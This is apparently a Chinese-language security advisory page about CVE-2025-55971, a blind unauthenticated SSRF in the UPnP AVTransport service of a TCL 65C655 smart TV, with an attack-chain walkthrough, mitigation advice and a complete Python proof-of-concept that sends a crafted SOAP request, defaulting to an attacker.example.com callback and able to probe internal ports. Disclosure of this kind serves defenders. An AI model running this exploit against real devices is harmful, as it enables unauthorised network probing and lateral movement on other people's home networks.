IPBUF安全漏洞报告
English
CVE-2025-55971 CVSS 4.7 中危

CVE-2025-55971:TCL智能电视UPnP AVTransport服务存在盲SSRF漏洞

披露日期: 2025-10-03

漏洞信息

漏洞编号
CVE-2025-55971
漏洞类型
服务端请求伪造(SSRF)
CVSS评分
4.7 中危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
TCL 65C655 Smart TV

相关标签

SSRF盲SSRF服务端请求伪造UPnPAVTransportDLNA智能电视IoT安全TCLSOAP注入

漏洞概述

CVE-2025-55971是TCL 65C655智能电视上存在的一个盲服务端请求伪造(Blind SSRF)漏洞。该电视运行固件版本V8-R75PT01-LF1V269.001116,基于Android TV系统,内核版本为5.4.242+。漏洞存在于电视的UPnP MediaRenderer服务(AVTransport:1)中,该服务监听在TCP 16398端口。攻击者可以通过向该端口发送未经认证的SetAVTransportURI SOAP请求,利用设备自动获取外部引用URI的特性,触发盲SSRF攻击。

该漏洞的攻击向量为邻接网络(AV:A),意味着攻击者需要与目标设备处于同一局域网内才能发起攻击。漏洞无需认证(PR:N)且无需用户交互(UI:N),一旦成功利用,攻击者可以以电视的名义向内部或外部服务发起请求,包括探测127.0.0.1上的16XXX系列端口、局域网内的其他服务,甚至是互联网目标。

虽然该漏洞对机密性的影响为低(C:L),对完整性无影响(I:N),对可用性影响为低(A:L),但其作为初始访问向量,可能被用于进一步的漏洞利用链构建,对智能家居设备的安全构成潜在威胁。该漏洞已于2025年10月3日公开披露,发现者通过MITRE提交了相关报告。

技术细节

该漏洞的技术原理基于UPnP(通用即插即用)协议中的AVTransport服务实现缺陷。UPnP是一种用于设备间自动发现和通信的网络协议,广泛应用于智能电视、媒体播放器等IoT设备中。AVTransport服务是UPnP标准的一部分,负责管理媒体传输相关的操作。

在TCL 65C655智能电视的实现中,AVTransport:1服务暴露在TCP 16398端口上,并接受未经认证的SOAP(Simple Object Access Protocol)请求。SetAVTransportURI是AVTransport服务中的一个标准操作,用于设置媒体传输的URI。漏洞的核心问题在于:当电视接收到SetAVTransportURI请求时,它会尝试主动获取该URI所引用的资源,而不对URI进行充分的验证和过滤。

攻击者可以构造恶意的SOAP请求,将SetAVTransportURI的CurrentURI参数设置为攻击者控制的地址(如http://attacker.com:port/path或http://127.0.0.1:target_port/)。电视在处理该请求时,会尝试访问该URI,从而实现以电视为代理的请求发送。由于这是一个盲SSRF,攻击者无法直接获取响应内容,但可以通过以下方式确认漏洞利用:

1. 监听外部服务器,观察是否收到来自电视的请求;
2. 使用时间延迟技术(如访问不存在的端口或慢速响应服务器)来推断内部服务的状态;
3. 通过DNS回调或HTTP回调验证请求是否成功发出。

该漏洞可被用于内网探测,扫描电视所在局域网内的其他设备和服务,发现潜在的横向移动目标,为构建更复杂的攻击链奠定基础。

攻击链分析

STEP 1
步骤1:网络定位
攻击者首先需要与目标TCL智能电视处于同一局域网内(因为攻击向量为AV:A邻接网络)。通过网络扫描工具(如nmap)发现目标电视的IP地址,并确认TCP 16398端口(UPnP AVTransport服务)的开放状态。
STEP 2
步骤2:构造恶意SOAP请求
攻击者构造一个恶意的SetAVTransportURI SOAP请求,将CurrentURI参数设置为攻击者控制的URI。该URI可以是外部服务器地址(用于验证漏洞存在)或内部网络地址(用于内网探测)。
STEP 3
步骤3:发送未认证请求
由于AVTransport服务不要求认证(PR:N),攻击者可以直接通过TCP连接到目标电视的16398端口,发送构造好的SOAP请求,无需任何凭据或用户交互(UI:N)。
STEP 4
步骤4:触发盲SSRF
电视接收到请求后,会尝试获取CurrentURI所引用的资源,从而以电视的名义向攻击者指定的地址发起HTTP请求。这构成了盲SSRF攻击,攻击者可以通过外部监听服务器或DNS回调来确认请求是否成功发出。
STEP 5
步骤5:内网探测与横向移动
利用盲SSRF,攻击者可以探测电视所在局域网内的其他服务和设备(如127.0.0.1的16XXX系列端口、其他IoT设备、管理后台等),发现潜在的攻击目标,为构建更复杂的漏洞利用链奠定基础。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-55971 - Blind Unauthenticated SSRF in TCL Smart TV UPnP/DLNA AVTransport # Exploit PoC for TCL 65C655 Smart TV (Firmware V8-R75PT01-LF1V269.001116) # Author: Szym0n13k import socket import sys import argparse TARGET_PORT = 16398 # Default UPnP AVTransport service port on TCL Smart TV SOAP_REQUEST_TEMPLATE = """<?xml version="1.0" encoding="utf-8"?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body> <u:SetAVTransportURI xmlns:u="urn:schemas-upnp-org:service:AVTransport:1"> <InstanceID>0</InstanceID> <CurrentURI>{payload_uri}</CurrentURI> <CurrentURIMetaData></CurrentURIMetaData> </u:SetAVTransportURI> </s:Body> </s:Envelope>""" def send_ssrf_payload(target_ip, payload_uri, timeout=5): """ Send a malicious SetAVTransportURI SOAP request to trigger blind SSRF. :param target_ip: IP address of the target TCL Smart TV :param payload_uri: Attacker-controlled URI (e.g., http://attacker.com/callback) :param timeout: Connection timeout in seconds """ soap_payload = SOAP_REQUEST_TEMPLATE.format(payload_uri=payload_uri) http_request = ( f"POST /AVTransport/ctrl HTTP/1.1\r\n" f"Host: {target_ip}:{TARGET_PORT}\r\n" f"Content-Type: text/xml; charset=\"utf-8\"\r\n" f"Content-Length: {len(soap_payload)}\r\n" f"SOAPAction: \"urn:schemas-upnp-org:service:AVTransport:1#SetAVTransportURI\"\r\n" f"Connection: close\r\n" f"\r\n" f"{soap_payload}" ) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(timeout) sock.connect((target_ip, TARGET_PORT)) sock.sendall(http_request.encode('utf-8')) response = sock.recv(4096).decode('utf-8', errors='ignore') sock.close() print(f"[+] Request sent to {target_ip}:{TARGET_PORT}") print(f"[+] Payload URI: {payload_uri}") print(f"[+] Response:\n{response}") if "200 OK" in response: print("[+] SSRF request likely triggered successfully!") return True else: print("[-] Unexpected response received.") return False except socket.timeout: print(f"[-] Connection timed out. Target may not be reachable.") return False except ConnectionRefusedError: print(f"[-] Connection refused. Port {TARGET_PORT} may be closed.") return False except Exception as e: print(f"[-] Error: {e}") return False def probe_internal_port(target_ip, internal_host, internal_port): """ Probe internal services by leveraging the blind SSRF. Uses gopher:// or http:// scheme to target internal hosts. """ payload_uri = f"http://{internal_host}:{internal_port}/" print(f"\n[*] Probing internal service: {internal_host}:{internal_port}") return send_ssrf_payload(target_ip, payload_uri) if __name__ == "__main__": parser = argparse.ArgumentParser( description="CVE-2025-55971 - Blind SSRF PoC for TCL Smart TV UPnP AVTransport" ) parser.add_argument("target_ip", help="Target TCL Smart TV IP address") parser.add_argument( "-u", "--uri", default="http://attacker.example.com/callback", help="Attacker-controlled callback URI (default: http://attacker.example.com/callback)" ) parser.add_argument( "--probe-internal", action="store_true", help="Enable internal port probing mode" ) parser.add_argument( "--internal-host", default="127.0.0.1", help="Internal host to probe (default: 127.0.0.1)" ) parser.add_argument( "--internal-port", type=int, default=16398, help="Internal port to probe (default: 16398)" ) args = parser.parse_args() print("=" * 60) print("CVE-2025-55971 PoC - TCL Smart TV Blind SSRF") print("Target: TCL 65C655 Smart TV") print("Firmware: V8-R75PT01-LF1V269.001116") print("=" * 60) if args.probe_internal: probe_internal_port(args.target_ip, args.internal_host, args.internal_port) else: send_ssrf_payload(args.target_ip, args.uri)

影响范围

TCL 65C655 Smart TV 固件版本 V8-R75PT01-LF1V269.001116

防御指南

临时缓解措施
在等待厂商发布修复固件之前,建议采取以下临时缓解措施:1)在路由器上配置ACL规则,阻止电视设备访问内部网络的其他主机和敏感端口;2)使用VLAN或网络分段技术将智能电视与其他关键设备隔离;3)在家庭网关中禁用UPnP功能或限制其范围;4)监控电视的网络流量,检测异常的出站连接请求;5)如非必要,关闭电视的DLNA/UPnP媒体共享功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表